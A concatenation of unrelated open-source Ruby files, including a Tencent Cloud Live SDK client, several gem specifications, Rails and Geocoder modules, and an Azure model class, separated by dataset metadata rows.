rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 禁止某条流的推送,可以预设某个时刻将流恢复。
# @param request: Request instance for ForbidLiveStream.
# @type request: :class:`Tencentcloud::live::V20180801::ForbidLiveStreamRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::ForbidLiveStreamResponse`
def ForbidLiveStream(request)
body = send_request('ForbidLiveStream', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = ForbidLiveStreamResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 修改回调模板。
# @param request: Request instance for ModifyLiveCallbackTemplate.
# @type request: :class:`Tencentcloud::live::V20180801::ModifyLiveCallbackTemplateRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::ModifyLiveCallbackTemplateResponse`
def ModifyLiveCallbackTemplate(request)
body = send_request('ModifyLiveCallbackTemplate', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = ModifyLiveCallbackTemplateResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 修改证书
# @param request: Request instance for ModifyLiveCert.
# @type request: :class:`Tencentcloud::live::V20180801::ModifyLiveCertRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::ModifyLiveCertResponse`
def ModifyLiveCert(request)
body = send_request('ModifyLiveCert', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = ModifyLiveCertResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 修改域名和证书绑定信息
# @param request: Request instance for ModifyLiveDomainCert.
# @type request: :class:`Tencentcloud::live::V20180801::ModifyLiveDomainCertRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::ModifyLiveDomainCertResponse`
def ModifyLiveDomainCert(request)
body = send_request('ModifyLiveDomainCert', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = ModifyLiveDomainCertResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 修改播放鉴权key
# @param request: Request instance for ModifyLivePlayAuthKey.
# @type request: :class:`Tencentcloud::live::V20180801::ModifyLivePlayAuthKeyRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::ModifyLivePlayAuthKeyResponse`
def ModifyLivePlayAuthKey(request)
body = send_request('ModifyLivePlayAuthKey', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = ModifyLivePlayAuthKeyResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 修改播放域名信息。
# @param request: Request instance for ModifyLivePlayDomain.
# @type request: :class:`Tencentcloud::live::V20180801::ModifyLivePlayDomainRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::ModifyLivePlayDomainResponse`
def ModifyLivePlayDomain(request)
body = send_request('ModifyLivePlayDomain', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = ModifyLivePlayDomainResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 修改直播推流鉴权key
# @param request: Request instance for ModifyLivePushAuthKey.
# @type request: :class:`Tencentcloud::live::V20180801::ModifyLivePushAuthKeyRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::ModifyLivePushAuthKeyResponse`
def ModifyLivePushAuthKey(request)
body = send_request('ModifyLivePushAuthKey', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = ModifyLivePushAuthKeyResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 修改录制模板配置。
# @param request: Request instance for ModifyLiveRecordTemplate.
# @type request: :class:`Tencentcloud::live::V20180801::ModifyLiveRecordTemplateRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::ModifyLiveRecordTemplateResponse`
def ModifyLiveRecordTemplate(request)
body = send_request('ModifyLiveRecordTemplate', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = ModifyLiveRecordTemplateResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 修改截图模板配置。
# @param request: Request instance for ModifyLiveSnapshotTemplate.
# @type request: :class:`Tencentcloud::live::V20180801::ModifyLiveSnapshotTemplateRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::ModifyLiveSnapshotTemplateResponse`
def ModifyLiveSnapshotTemplate(request)
body = send_request('ModifyLiveSnapshotTemplate', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = ModifyLiveSnapshotTemplateResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 修改转码模板配置。
# @param request: Request instance for ModifyLiveTranscodeTemplate.
# @type request: :class:`Tencentcloud::live::V20180801::ModifyLiveTranscodeTemplateRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::ModifyLiveTranscodeTemplateResponse`
def ModifyLiveTranscodeTemplate(request)
body = send_request('ModifyLiveTranscodeTemplate', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = ModifyLiveTranscodeTemplateResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 更新拉流配置。
# @param request: Request instance for ModifyPullStreamConfig.
# @type request: :class:`Tencentcloud::live::V20180801::ModifyPullStreamConfigRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::ModifyPullStreamConfigResponse`
def ModifyPullStreamConfig(request)
body = send_request('ModifyPullStreamConfig', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = ModifyPullStreamConfigResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 修改直播拉流配置的状态。
# @param request: Request instance for ModifyPullStreamStatus.
# @type request: :class:`Tencentcloud::live::V20180801::ModifyPullStreamStatusRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::ModifyPullStreamStatusResponse`
def ModifyPullStreamStatus(request)
body = send_request('ModifyPullStreamStatus', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = ModifyPullStreamStatusResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 恢复延迟播放设置
# @param request: Request instance for ResumeDelayLiveStream.
# @type request: :class:`Tencentcloud::live::V20180801::ResumeDelayLiveStreamRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::ResumeDelayLiveStreamResponse`
def ResumeDelayLiveStream(request)
body = send_request('ResumeDelayLiveStream', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = ResumeDelayLiveStreamResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 恢复某条流的推流。
# @param request: Request instance for ResumeLiveStream.
# @type request: :class:`Tencentcloud::live::V20180801::ResumeLiveStreamRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::ResumeLiveStreamResponse`
def ResumeLiveStream(request)
body = send_request('ResumeLiveStream', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = ResumeLiveStreamResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 说明:录制后的文件存放于点播平台。用户如需使用录制功能,需首先自行开通点播账号并确保账号可用。录制文件存放后,相关费用(含存储以及下行播放流量)按照点播平台计费方式收取,请参考对应文档。
# @param request: Request instance for StopLiveRecord.
# @type request: :class:`Tencentcloud::live::V20180801::StopLiveRecordRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::StopLiveRecordResponse`
def StopLiveRecord(request)
body = send_request('StopLiveRecord', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = StopLiveRecordResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 提前结束录制,并中止运行中的录制任务。任务被成功终止后,本次任务将不再启动。
# @param request: Request instance for StopRecordTask.
# @type request: :class:`Tencentcloud::live::V20180801::StopRecordTaskRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::StopRecordTaskResponse`
def StopRecordTask(request)
body = send_request('StopRecordTask', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = StopRecordTaskResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 解绑域名证书
# @param request: Request instance for UnBindLiveDomainCert.
# @type request: :class:`Tencentcloud::live::V20180801::UnBindLiveDomainCertRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::UnBindLiveDomainCertResponse`
def UnBindLiveDomainCert(request)
body = send_request('UnBindLiveDomainCert', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = UnBindLiveDomainCertResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 更新水印。
# @param request: Request instance for UpdateLiveWatermark.
# @type request: :class:`Tencentcloud::live::V20180801::UpdateLiveWatermarkRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::UpdateLiveWatermarkResponse`
def UpdateLiveWatermark(request)
body = send_request('UpdateLiveWatermark', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = UpdateLiveWatermarkResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
end
end
end
end | 47.721703 | 142 | 0.64297 |
b9aa132932e7023de7ffecc7b29fb3c93cd2db35 | 342 | require 'test/unit'
require "-test-/file"
class Test_FileStat < Test::Unit::TestCase
def test_stat_for_fd
st = open(__FILE__) {|f| Bug::File::Stat.for_fd(f.fileno)}
assert_equal(File.stat(__FILE__), st)
end
def test_stat_for_path
st = Bug::File::Stat.for_path(__FILE__)
assert_equal(File.stat(__FILE__), st)
end
end
| 22.8 | 62 | 0.704678 |
391495885cb89280d39cc50ccd114ab077db8158 | 498 | module HandleRest
# Handle URN Value
class UrnValue < Value
# Value Type
#
# @return [String] "URN"
def type
"URN"
end
# Deserialize
#
# @param format [String] "string"
# @param value [String] urn:<nid>:<nss></nss></nid>
# @return [UrnValue]
# @raise [RuntimeError] if format != 'string'.
def self.from_h(format, value)
raise "UrnValue unexpected format '#{format}'" unless /string/.match?(format)
new(value)
end
end
end
| 21.652174 | 83 | 0.590361 |
38abceaef6c227e0ade607e4b3eedf1e36925283 | 1,026 | # frozen_string_literal: true
$LOAD_PATH.push File.expand_path("lib", __dir__)
# Maintain your gem's version:
require "publify_textfilter_code/version"
# Describe your gem and declare its dependencies:
Gem::Specification.new do |s|
s.name = "publify_textfilter_code"
s.version = PublifyTextfilterCode::VERSION
s.authors = ["Matijs van Zuijlen"]
s.email = ["[email protected]"]
s.homepage = "https://publify.github.io/"
s.summary = "Code text filter for the Publify blogging system."
s.description = "Code text filter sidebar for the Publify blogging system."
s.license = "MIT"
s.files = File.open("Manifest.txt").readlines.map(&:chomp)
s.add_dependency "coderay", "~> 1.1.0"
s.add_dependency "htmlentities", "~> 4.3"
s.add_dependency "publify_core", "~> 9.1.0"
s.add_dependency "rails", "~> 5.2.0"
s.add_development_dependency "rspec-rails", "~> 3.9.0"
s.add_development_dependency "simplecov", "~> 0.17.1"
s.add_development_dependency "sqlite3"
end
| 34.2 | 77 | 0.691033 |
2897cb4860baffb1d5bcf50dd2c742c255d7c83d | 1,153 | # frozen_string_literal: true
module Resolvers
class ScanExecutionPolicyResolver < BaseResolver
include Gitlab::Graphql::Authorize::AuthorizeResource
calls_gitaly!
type Types::ScanExecutionPolicyType, null: true
alias_method :project, :object
def resolve(**args)
return [] unless valid?
authorize!
policy_configuration.scan_execution_policy.map do |policy|
{
name: policy[:name],
description: policy[:description],
enabled: policy[:enabled],
yaml: YAML.dump(policy.deep_stringify_keys),
updated_at: policy_configuration.policy_last_updated_at
}
end
end
private
def authorize!
Ability.allowed?(
context[:current_user], :security_orchestration_policies, policy_configuration.security_policy_management_project
) || raise_resource_not_available_error!
end
def policy_configuration
@policy_configuration ||= project.security_orchestration_policy_configuration
end
def valid?
policy_configuration.present? && policy_configuration.policy_configuration_valid?
end
end
end
| 25.622222 | 121 | 0.707719 |
2813acfce0ae07da0e9cd9a1244a35900cda7375 | 1,450 | class Converter
module JsConversion
def process_javascript_assets
log_status 'Processing javascripts...'
save_to = @save_to[:js]
contents = {}
read_files('js', bootstrap_js_files).each do |name, name|
contents[name] = name
save_file("#{save_to}/#{name}", name)
end
log_processed "#{bootstrap_js_files * ' '}"
log_status 'Updating javascript manifest'
manifest = ''
bootstrap_js_files.each do |name|
name = name.gsub(/\.js$/, '')
manifest << "//= require ./bootstrap/#{name}\n"
end
dist_js = read_files('dist/js', %w(bootstrap.js bootstrap.min.js))
{
'assets/javascripts/bootstrap-sprockets.js' => manifest,
'assets/javascripts/bootstrap.js' => dist_js['bootstrap.js'],
'assets/javascripts/bootstrap.min.js' => dist_js['bootstrap.min.js'],
}.each do |path, content|
save_file path, content
log_processed path
end
end
def bootstrap_js_files
@bootstrap_js_files ||= begin
files = get_paths_by_type('js', /\.js$/).reject { |path| path =~ %r(^tests/) }
files.sort_by { |f|
case f
# tooltip depends on popover and must be loaded earlier
when /tooltip/ then
1
when /popover/ then
2
else
0
end
}
end
end
end
end
| 30.208333 | 86 | 0.557241 |
01ec8c68a7e05507ecd02ab84e653e031989dd5a | 136 | Rails.application.routes.draw do
devise_for :users
resources :messages do
resources :comments
end
root 'messages#index'
end
| 17 | 32 | 0.75 |
62a4d98f987f8a83c3a533a353c545ce2ebc0308 | 2,558 | module Geocoder::Store
module MongoBase
def self.included_by_model(base)
base.class_eval do
scope :geocoded, lambda {
where(geocoder_options[:coordinates].ne => nil)
}
scope :not_geocoded, lambda {
where(geocoder_options[:coordinates] => nil)
}
scope :near, lambda{ |location, *args|
coords = Geocoder::Calculations.extract_coordinates(location)
# no results if no lat/lon given
return where(:id => false) unless coords.is_a?(Array)
radius = args.size > 0 ? args.shift : 20
options = args.size > 0 ? args.shift : {}
options[:units] ||= geocoder_options[:units]
# Use BSON::OrderedHash if Ruby's hashes are unordered.
# Conditions must be in order required by indexes (see mongo gem).
empty = RUBY_VERSION.split('.')[1].to_i < 9 ? BSON::OrderedHash.new : {}
conds = empty.clone
field = geocoder_options[:coordinates]
conds[field] = empty.clone
conds[field]["$nearSphere"] = coords.reverse
conds[field]["$maxDistance"] = \
Geocoder::Calculations.distance_to_radians(radius, options[:units])
if obj = options[:exclude]
conds[:_id.ne] = obj.id
end
where(conds)
}
end
end
##
# Coordinates [lat,lon] of the object.
# This method always returns coordinates in lat,lon order,
# even though internally they are stored in the opposite order.
#
def to_coordinates
coords = send(self.class.geocoder_options[:coordinates])
coords.is_a?(Array) ? coords.reverse : []
end
##
# Look up coordinates and assign to +latitude+ and +longitude+ attributes
# (or other as specified in +geocoded_by+). Returns coordinates (array).
#
def geocode
do_lookup(false) do |o,rs|
if r = rs.first
unless r.coordinates.nil?
o.__send__ "#{self.class.geocoder_options[:coordinates]}=", r.coordinates.reverse
end
r.coordinates
end
end
end
##
# Look up address and assign to +address+ attribute (or other as specified
# in +reverse_geocoded_by+). Returns address (string).
#
def reverse_geocode
do_lookup(true) do |o,rs|
if r = rs.first
unless r.address.nil?
o.__send__ "#{self.class.geocoder_options[:fetched_address]}=", r.address
end
r.address
end
end
end
end
end
| 29.744186 | 93 | 0.59226 |
614fc679aacc8403e939ea87e688ef1a15bec15b | 2,383 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::PolicyInsights::Mgmt::V2019_10_01
module Models
#
# Query results.
#
class PolicyStatesQueryResults
include MsRestAzure
# @return [String] OData context string; used by OData clients to resolve
# type information based on metadata.
attr_accessor :odatacontext
# @return [Integer] OData entity count; represents the number of policy
# state records returned.
attr_accessor :odatacount
# @return [Array<PolicyState>] Query results.
attr_accessor :value
#
# Mapper for PolicyStatesQueryResults class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'PolicyStatesQueryResults',
type: {
name: 'Composite',
class_name: 'PolicyStatesQueryResults',
model_properties: {
odatacontext: {
client_side_validation: true,
required: false,
serialized_name: '@odata\\.context',
type: {
name: 'String'
}
},
odatacount: {
client_side_validation: true,
required: false,
serialized_name: '@odata\\.count',
constraints: {
InclusiveMinimum: 0
},
type: {
name: 'Number'
}
},
value: {
client_side_validation: true,
required: false,
serialized_name: 'value',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'PolicyStateElementType',
type: {
name: 'Composite',
class_name: 'PolicyState'
}
}
}
}
}
}
}
end
end
end
end
| 28.710843 | 79 | 0.491397 |
01b27cdfcaa67f42c00229d28b5d686bceec0be5 | 236 | module VirtualBox
module COM
module Interface
module Version_4_1_X
class ClipboardMode < AbstractEnum
map [:disabled, :host_to_guest, :guest_to_host, :bidirectional]
end
end
end
end
end
| 19.666667 | 73 | 0.652542 |
e9d215bf10f795ab5822e42a4a34d446f053c3da | 85,762 | # -*- ruby -*-
# encoding: utf-8
$LOAD_PATH.push File.expand_path('../src/ruby/lib', __FILE__)
require 'grpc/version'
Gem::Specification.new do |s|
s.name = 'grpc'
s.version = GRPC::VERSION
s.authors = ['gRPC Authors']
s.email = '[email protected]'
s.homepage = 'https://github.com/google/grpc/tree/master/src/ruby'
s.summary = 'GRPC system in Ruby'
s.description = 'Send RPCs from Ruby using GRPC'
s.license = 'Apache-2.0'
s.required_ruby_version = '>= 2.0.0'
s.files = %w( Makefile .yardopts )
s.files += %w( etc/roots.pem )
s.files += Dir.glob('src/ruby/bin/**/*')
s.files += Dir.glob('src/ruby/ext/**/*')
s.files += Dir.glob('src/ruby/lib/**/*')
s.files += Dir.glob('src/ruby/pb/**/*').reject do |f|
f.match(%r{^src/ruby/pb/test})
end
s.files += Dir.glob('include/grpc/**/*')
s.test_files = Dir.glob('src/ruby/spec/**/*')
s.bindir = 'src/ruby/bin'
s.require_paths = %w( src/ruby/lib src/ruby/bin src/ruby/pb )
s.platform = Gem::Platform::RUBY
s.add_dependency 'google-protobuf', '~> 3.7'
s.add_dependency 'googleapis-common-protos-types', '~> 1.0'
s.add_development_dependency 'bundler', '~> 1.9'
s.add_development_dependency 'facter', '~> 2.4'
s.add_development_dependency 'logging', '~> 2.0'
s.add_development_dependency 'simplecov', '~> 0.14.1'
s.add_development_dependency 'rake', '~> 12.0'
s.add_development_dependency 'rake-compiler', '~> 1.0'
s.add_development_dependency 'rake-compiler-dock', '~> 0.5.1'
s.add_development_dependency 'rspec', '~> 3.6'
s.add_development_dependency 'rubocop', '~> 0.49.1'
s.add_development_dependency 'signet', '~> 0.7'
s.add_development_dependency 'googleauth', '>= 0.5.1', '< 0.10'
s.extensions = %w(src/ruby/ext/grpc/extconf.rb)
s.files += %w( third_party/address_sorting/address_sorting_internal.h )
s.files += %w( third_party/address_sorting/include/address_sorting/address_sorting.h )
s.files += %w( third_party/address_sorting/address_sorting.c )
s.files += %w( third_party/address_sorting/address_sorting_posix.c )
s.files += %w( third_party/address_sorting/address_sorting_windows.c )
s.files += %w( include/grpc/support/alloc.h )
s.files += %w( include/grpc/support/atm.h )
s.files += %w( include/grpc/support/atm_gcc_atomic.h )
s.files += %w( include/grpc/support/atm_gcc_sync.h )
s.files += %w( include/grpc/support/atm_windows.h )
s.files += %w( include/grpc/support/cpu.h )
s.files += %w( include/grpc/support/log.h )
s.files += %w( include/grpc/support/log_windows.h )
s.files += %w( include/grpc/support/port_platform.h )
s.files += %w( include/grpc/support/string_util.h )
s.files += %w( include/grpc/support/sync.h )
s.files += %w( include/grpc/support/sync_custom.h )
s.files += %w( include/grpc/support/sync_generic.h )
s.files += %w( include/grpc/support/sync_posix.h )
s.files += %w( include/grpc/support/sync_windows.h )
s.files += %w( include/grpc/support/thd_id.h )
s.files += %w( include/grpc/support/time.h )
s.files += %w( include/grpc/impl/codegen/atm.h )
s.files += %w( include/grpc/impl/codegen/atm_gcc_atomic.h )
s.files += %w( include/grpc/impl/codegen/atm_gcc_sync.h )
s.files += %w( include/grpc/impl/codegen/atm_windows.h )
s.files += %w( include/grpc/impl/codegen/fork.h )
s.files += %w( include/grpc/impl/codegen/gpr_slice.h )
s.files += %w( include/grpc/impl/codegen/gpr_types.h )
s.files += %w( include/grpc/impl/codegen/log.h )
s.files += %w( include/grpc/impl/codegen/port_platform.h )
s.files += %w( include/grpc/impl/codegen/sync.h )
s.files += %w( include/grpc/impl/codegen/sync_custom.h )
s.files += %w( include/grpc/impl/codegen/sync_generic.h )
s.files += %w( include/grpc/impl/codegen/sync_posix.h )
s.files += %w( include/grpc/impl/codegen/sync_windows.h )
s.files += %w( src/core/lib/gpr/alloc.h )
s.files += %w( src/core/lib/gpr/arena.h )
s.files += %w( src/core/lib/gpr/env.h )
s.files += %w( src/core/lib/gpr/host_port.h )
s.files += %w( src/core/lib/gpr/mpscq.h )
s.files += %w( src/core/lib/gpr/murmur_hash.h )
s.files += %w( src/core/lib/gpr/spinlock.h )
s.files += %w( src/core/lib/gpr/string.h )
s.files += %w( src/core/lib/gpr/string_windows.h )
s.files += %w( src/core/lib/gpr/time_precise.h )
s.files += %w( src/core/lib/gpr/tls.h )
s.files += %w( src/core/lib/gpr/tls_gcc.h )
s.files += %w( src/core/lib/gpr/tls_msvc.h )
s.files += %w( src/core/lib/gpr/tls_pthread.h )
s.files += %w( src/core/lib/gpr/tmpfile.h )
s.files += %w( src/core/lib/gpr/useful.h )
s.files += %w( src/core/lib/gprpp/abstract.h )
s.files += %w( src/core/lib/gprpp/arena.h )
s.files += %w( src/core/lib/gprpp/atomic.h )
s.files += %w( src/core/lib/gprpp/fork.h )
s.files += %w( src/core/lib/gprpp/global_config.h )
s.files += %w( src/core/lib/gprpp/global_config_custom.h )
s.files += %w( src/core/lib/gprpp/global_config_env.h )
s.files += %w( src/core/lib/gprpp/global_config_generic.h )
s.files += %w( src/core/lib/gprpp/manual_constructor.h )
s.files += %w( src/core/lib/gprpp/map.h )
s.files += %w( src/core/lib/gprpp/memory.h )
s.files += %w( src/core/lib/gprpp/pair.h )
s.files += %w( src/core/lib/gprpp/sync.h )
s.files += %w( src/core/lib/gprpp/thd.h )
s.files += %w( src/core/lib/profiling/timers.h )
s.files += %w( src/core/lib/gpr/alloc.cc )
s.files += %w( src/core/lib/gpr/atm.cc )
s.files += %w( src/core/lib/gpr/cpu_iphone.cc )
s.files += %w( src/core/lib/gpr/cpu_linux.cc )
s.files += %w( src/core/lib/gpr/cpu_posix.cc )
s.files += %w( src/core/lib/gpr/cpu_windows.cc )
s.files += %w( src/core/lib/gpr/env_linux.cc )
s.files += %w( src/core/lib/gpr/env_posix.cc )
s.files += %w( src/core/lib/gpr/env_windows.cc )
s.files += %w( src/core/lib/gpr/host_port.cc )
s.files += %w( src/core/lib/gpr/log.cc )
s.files += %w( src/core/lib/gpr/log_android.cc )
s.files += %w( src/core/lib/gpr/log_linux.cc )
s.files += %w( src/core/lib/gpr/log_posix.cc )
s.files += %w( src/core/lib/gpr/log_windows.cc )
s.files += %w( src/core/lib/gpr/mpscq.cc )
s.files += %w( src/core/lib/gpr/murmur_hash.cc )
s.files += %w( src/core/lib/gpr/string.cc )
s.files += %w( src/core/lib/gpr/string_posix.cc )
s.files += %w( src/core/lib/gpr/string_util_windows.cc )
s.files += %w( src/core/lib/gpr/string_windows.cc )
s.files += %w( src/core/lib/gpr/sync.cc )
s.files += %w( src/core/lib/gpr/sync_posix.cc )
s.files += %w( src/core/lib/gpr/sync_windows.cc )
s.files += %w( src/core/lib/gpr/time.cc )
s.files += %w( src/core/lib/gpr/time_posix.cc )
s.files += %w( src/core/lib/gpr/time_precise.cc )
s.files += %w( src/core/lib/gpr/time_windows.cc )
s.files += %w( src/core/lib/gpr/tls_pthread.cc )
s.files += %w( src/core/lib/gpr/tmpfile_msys.cc )
s.files += %w( src/core/lib/gpr/tmpfile_posix.cc )
s.files += %w( src/core/lib/gpr/tmpfile_windows.cc )
s.files += %w( src/core/lib/gpr/wrap_memcpy.cc )
s.files += %w( src/core/lib/gprpp/arena.cc )
s.files += %w( src/core/lib/gprpp/fork.cc )
s.files += %w( src/core/lib/gprpp/global_config_env.cc )
s.files += %w( src/core/lib/gprpp/thd_posix.cc )
s.files += %w( src/core/lib/gprpp/thd_windows.cc )
s.files += %w( src/core/lib/profiling/basic_timers.cc )
s.files += %w( src/core/lib/profiling/stap_timers.cc )
s.files += %w( include/grpc/impl/codegen/byte_buffer.h )
s.files += %w( include/grpc/impl/codegen/byte_buffer_reader.h )
s.files += %w( include/grpc/impl/codegen/compression_types.h )
s.files += %w( include/grpc/impl/codegen/connectivity_state.h )
s.files += %w( include/grpc/impl/codegen/grpc_types.h )
